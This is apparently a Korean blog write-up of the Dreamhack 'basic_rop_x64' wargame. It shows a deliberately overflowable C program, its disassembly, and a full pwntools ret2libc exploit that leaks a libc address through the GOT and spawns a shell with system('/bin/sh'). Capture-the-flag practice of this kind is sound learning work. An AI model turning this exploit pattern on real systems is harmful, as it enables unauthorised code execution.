[Dreamhack Wargame] basic_rop_x64

don't panic·2023년 12월 9일
0

System Hacking wargame

목록 보기
8/39

code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

checksec 결과

  • 64bit 프로그램
  • Partial RELRO, NX enabled

gdb 결과

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004007ba <+0>:     push   rbp
   0x00000000004007bb <+1>:     mov    rbp,rsp
   0x00000000004007be <+4>:     sub    rsp,0x50
   0x00000000004007c2 <+8>:     mov    DWORD PTR [rbp-0x44],edi
   0x00000000004007c5 <+11>:    mov    QWORD PTR [rbp-0x50],rsi
   0x00000000004007c9 <+15>:    lea    rdx,[rbp-0x40]
   0x00000000004007cd <+19>:    mov    eax,0x0
   0x00000000004007d2 <+24>:    mov    ecx,0x8
   0x00000000004007d7 <+29>:    mov    rdi,rdx
   0x00000000004007da <+32>:    rep stos QWORD PTR es:[rdi],rax
   0x00000000004007dd <+35>:    mov    eax,0x0
   0x00000000004007e2 <+40>:    call   0x40075e <initialize>
   0x00000000004007e7 <+45>:    lea    rax,[rbp-0x40]
   0x00000000004007eb <+49>:    mov    edx,0x400
   0x00000000004007f0 <+54>:    mov    rsi,rax
   0x00000000004007f3 <+57>:    mov    edi,0x0
   0x00000000004007f8 <+62>:    call   0x4005f0 <read@plt>
   0x00000000004007fd <+67>:    lea    rax,[rbp-0x40]
   0x0000000000400801 <+71>:    mov    edx,0x40
   0x0000000000400806 <+76>:    mov    rsi,rax
   0x0000000000400809 <+79>:    mov    edi,0x1
   0x000000000040080e <+84>:    call   0x4005d0 <write@plt>
   0x0000000000400813 <+89>:    mov    eax,0x0
   0x0000000000400818 <+94>:    leave  
   0x0000000000400819 <+95>:    ret    
End of assembler dump.

buf: [rbp-0x40]
SFP: [rbp]
RET: [rbp+0x8]

exploit 설계


  • 코드 영역에 exploit에 쓸만한 함수가 없으므로, Partial RELRO에 맞게 GOT Overwrite을 해야할 것 같다.
  • ret 2 main을 사용해서 exploit해보자
  1. payload = buf + puts(read_got) + main 보내기
  2. read_got을 읽어서 libc base를 구하고, system 함수의 주소를 구한다.
  3. payload = buf + system("/bin/sh");

ret2main

buf = b'A' * 0x40 + b'A' * 0x8
buf += p64(pop1) + p64(read_got) + p64(puts_plt)
buf += p64(ret) + p64(main)
p.send(buf)
p.recvn(0x40)

최종 exploit

from pwn import *

p = remote('host3.dreamhack.games', 20123)
e = ELF('./basic_rop_x64')
libc = ELF('./libc.so.6')

read_got = e.got['read']
puts_plt = e.plt['puts']
main = e.symbols['main']

pop_rdi = 0x400883
ret = 0x4005a9

payload = b'A' * 0x48
payload += p64(pop_rdi) + p64(read_got)
payload += p64(ret) + p64(puts_plt) + p64(main)
p.send(payload)
p.recvn(0x40)

read = u64(p.recvn(6) + b'\x00' * 2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
binsh = lb + list(libc.search(b'/bin/sh'))[0]

payload = b'A' * 0x48
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

p.send(payload)
p.interactive()

0개의 댓글